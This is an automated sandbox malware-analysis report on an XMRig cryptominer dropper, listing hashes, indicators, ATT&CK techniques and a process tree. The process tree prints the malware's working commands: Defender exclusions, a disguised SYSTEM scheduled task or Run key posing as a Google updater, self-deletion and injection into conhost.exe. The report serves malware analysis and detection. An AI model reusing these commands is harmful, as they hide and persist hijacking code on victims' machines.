xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
363s
max time network
1789s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Size 2.0MB
Sample240123-x6bvbafgem
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs

description	pid	Process	procid_target
PID 860 created 1288	860	UMRsPGc4u9tycx9r.exe	13
PID 860 created 1288	860	UMRsPGc4u9tycx9r.exe	13
PID 860 created 1288	860	UMRsPGc4u9tycx9r.exe	13
PID 860 created 1288	860	UMRsPGc4u9tycx9r.exe	13
PID 2772 created 1288	2772	updater.exe	13
PID 2772 created 1288	2772	updater.exe	13
PID 2772 created 1288	2772	updater.exe	13
PID 2772 created 1288	2772	updater.exe	13
PID 2772 created 1288	2772	updater.exe	13

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral23/memory/2072-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral23/memory/2072-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2228	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2772	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2816	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral23/memory/2072-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral23/memory/2072-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2772 set thread context of 992	2772	updater.exe	52
PID 2772 set thread context of 2072	2772	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	UMRsPGc4u9tycx9r.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2600	schtasks.exe
1792	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
632	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 8071b972a051da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
860	UMRsPGc4u9tycx9r.exe
860	UMRsPGc4u9tycx9r.exe
2856	powershell.exe
860	UMRsPGc4u9tycx9r.exe
860	UMRsPGc4u9tycx9r.exe
3000	powershell.exe
860	UMRsPGc4u9tycx9r.exe
860	UMRsPGc4u9tycx9r.exe
860	UMRsPGc4u9tycx9r.exe
860	UMRsPGc4u9tycx9r.exe
2672	powershell.exe
2772	updater.exe
2772	updater.exe
2512	powershell.exe
2772	updater.exe
2772	updater.exe
1964	powershell.exe
2772	updater.exe
2772	updater.exe
2772	updater.exe
2772	updater.exe
992	conhost.exe
992	conhost.exe
2772	updater.exe
2772	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	3000	powershell.exe
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeDebugPrivilege	2772	updater.exe
Token: SeAssignPrimaryTokenPrivilege	632	WMIC.exe
Token: SeIncreaseQuotaPrivilege	632	WMIC.exe
Token: SeSecurityPrivilege	632	WMIC.exe
Token: SeTakeOwnershipPrivilege	632	WMIC.exe
Token: SeLoadDriverPrivilege	632	WMIC.exe
Token: SeSystemtimePrivilege	632	WMIC.exe
Token: SeBackupPrivilege	632	WMIC.exe
Token: SeRestorePrivilege	632	WMIC.exe
Token: SeShutdownPrivilege	632	WMIC.exe
Token: SeSystemEnvironmentPrivilege	632	WMIC.exe
Token: SeUndockPrivilege	632	WMIC.exe
Token: SeManageVolumePrivilege	632	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	632	WMIC.exe
Token: SeIncreaseQuotaPrivilege	632	WMIC.exe
Token: SeSecurityPrivilege	632	WMIC.exe
Token: SeTakeOwnershipPrivilege	632	WMIC.exe
Token: SeLoadDriverPrivilege	632	WMIC.exe
Token: SeSystemtimePrivilege	632	WMIC.exe
Token: SeBackupPrivilege	632	WMIC.exe
Token: SeRestorePrivilege	632	WMIC.exe
Token: SeShutdownPrivilege	632	WMIC.exe
Token: SeSystemEnvironmentPrivilege	632	WMIC.exe
Token: SeUndockPrivilege	632	WMIC.exe
Token: SeManageVolumePrivilege	632	WMIC.exe
Token: SeLockMemoryPrivilege	2072	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3000 wrote to memory of 2600	3000	powershell.exe	32
PID 3000 wrote to memory of 2600	3000	powershell.exe	32
PID 3000 wrote to memory of 2600	3000	powershell.exe	32
PID 2228 wrote to memory of 2412	2228	cmd.exe	37
PID 2228 wrote to memory of 2412	2228	cmd.exe	37
PID 2228 wrote to memory of 2412	2228	cmd.exe	37
PID 2672 wrote to memory of 2788	2672	powershell.exe	38
PID 2672 wrote to memory of 2788	2672	powershell.exe	38
PID 2672 wrote to memory of 2788	2672	powershell.exe	38
PID 2816 wrote to memory of 2772	2816	taskeng.exe	40
PID 2816 wrote to memory of 2772	2816	taskeng.exe	40
PID 2816 wrote to memory of 2772	2816	taskeng.exe	40
PID 1964 wrote to memory of 1792	1964	powershell.exe	45
PID 1964 wrote to memory of 1792	1964	powershell.exe	45
PID 1964 wrote to memory of 1792	1964	powershell.exe	45
PID 2772 wrote to memory of 992	2772	updater.exe	52
PID 2236 wrote to memory of 632	2236	cmd.exe	48
PID 2236 wrote to memory of 632	2236	cmd.exe	48
PID 2236 wrote to memory of 632	2236	cmd.exe	48
PID 2772 wrote to memory of 2072	2772	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1288
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2788
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1792
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1264
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:992
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2072

C:\Windows\system32\taskeng.exe
taskeng.exe {E441DF34-EAE1-432B-8F19-67F444025FE5} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2816
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2772

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:632

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 1.3MB
SHA256 e178334676d4c38660cc6de6a53b4aa2b096e7dbe671b17b7397b7db680d4cd9
MD5 dc71a00f46afb2e35b87b455d7cf8cbb
SHA1 1955c9a9fffc8ca52b0e7aa489771f4114db65e3
SHA512 d67c243e95f0fa0ae6ae6488cb4c2bb4cd62000b29f065016c50f70023641644bf7dd74c61af659cd2e022e16b94715678f4ff225107577038f1abf5671a1906
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvXkYT:rWVipAxqo5p88CbXuxWQiSJU320ZW21m
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 107KB
SHA256 e388f3f20bdaa574ddcb97b66cc2107a4cff69b06c273cba9c734c8afec4bb80
MD5 4b7dfadd4b86e0e1bdedaffe9cbfb377
SHA1 df41161c27b4f357db9943768427aecae2168429
SHA512 df5f7a683d1313b491f9d256ac5a9cae8d06d8fadcaf78bf29e00d59c84ad4b139c0f18dd22ec7276092d798977d63dcd9d6c891b094821164b6efbf38f4530f
SSDEEP 1536:L3zCarzIpyj5pLauwYY94E6w/oBKKwURaOO5FFbMVbEP3XpZlTAt1n/78qUlI19V:L3zjTv46w/ZUFO5TbwWpUt1D995j
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 e8a695cc7990ddc8992c761400de90a1f86cf080adabfbca79b3109945af7ded
MD5 b794dcc53afc1a683961771157ab7e0e
SHA1 58de8d7f5d9f32b361196fdfc0c3ab53764d943e
SHA512 2fc7f05f7c38609ea38a798947dc071ec81a7450938bbf0b7622bc7ee5a3bb979bb1b899b0de52e3bca524db267f19b0f2ddbda350f76104b16154d9a4d2d947
SSDEEP 96:0NGC7RM8xnqvsqvJCwoHNGC7RM8xnqvsEHyqvJCwormVLbdQHmb7aHXlUVS:ghRlUothRlAHnormPHb7aHB
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 2.0MB
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

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memory/860-0-0x000000013FA50000-0x000000013FC61000-memory.dmp

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memory/860-28-0x000000013FA50000-0x000000013FC61000-memory.dmp

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memory/992-74-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/992-70-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/1964-56-0x00000000010A0000-0x0000000001120000-memory.dmp

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memory/1964-54-0x000007FEF4570000-0x000007FEF4F0D000-memory.dmp

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memory/1964-53-0x00000000010A0000-0x0000000001120000-memory.dmp

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memory/1964-52-0x000007FEF4570000-0x000007FEF4F0D000-memory.dmp

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memory/1964-57-0x00000000010A0000-0x0000000001120000-memory.dmp

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memory/1964-55-0x00000000010A0000-0x0000000001120000-memory.dmp

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memory/1964-58-0x000007FEF4570000-0x000007FEF4F0D000-memory.dmp

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memory/2072-88-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-94-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-135-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-133-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-131-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-118-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-116-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-114-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-112-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-110-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-108-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-106-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-104-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-102-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-100-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-98-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-96-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-92-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-90-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-86-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-84-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-82-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-80-0x0000000000810000-0x0000000000830000-memory.dmp

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memory/2072-79-0x0000000000480000-0x00000000004A0000-memory.dmp

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memory/2072-78-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-76-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-75-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-66-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-67-0x0000000000040000-0x0000000000060000-memory.dmp

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memory/2072-68-0x0000000000480000-0x00000000004A0000-memory.dmp

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memory/2072-69-0x0000000000810000-0x0000000000830000-memory.dmp

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memory/2072-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2072-71-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/2512-51-0x000007FEF4F10000-0x000007FEF58AD000-memory.dmp

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memory/2512-45-0x000007FEF4F10000-0x000007FEF58AD000-memory.dmp

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memory/2512-46-0x0000000000F60000-0x0000000000FE0000-memory.dmp

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memory/2512-47-0x000007FEF4F10000-0x000007FEF58AD000-memory.dmp

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memory/2512-48-0x0000000000F60000-0x0000000000FE0000-memory.dmp

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memory/2512-49-0x0000000000F60000-0x0000000000FE0000-memory.dmp

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memory/2512-50-0x0000000000F60000-0x0000000000FE0000-memory.dmp

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memory/2672-40-0x000007FEF4570000-0x000007FEF4F0D000-memory.dmp

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memory/2672-35-0x000007FEF4570000-0x000007FEF4F0D000-memory.dmp

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memory/2672-36-0x00000000027A0000-0x0000000002820000-memory.dmp

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memory/2672-37-0x000007FEF4570000-0x000007FEF4F0D000-memory.dmp

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memory/2672-38-0x00000000027A0000-0x0000000002820000-memory.dmp

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memory/2672-39-0x00000000027A0000-0x0000000002820000-memory.dmp

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memory/2772-65-0x000000013F090000-0x000000013F2A1000-memory.dmp

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memory/2772-44-0x000000013F090000-0x000000013F2A1000-memory.dmp

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memory/2856-12-0x000007FEF4570000-0x000007FEF4F0D000-memory.dmp

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memory/2856-7-0x000007FEF4570000-0x000007FEF4F0D000-memory.dmp

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memory/2856-9-0x0000000002610000-0x0000000002690000-memory.dmp

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memory/2856-8-0x0000000002610000-0x0000000002690000-memory.dmp

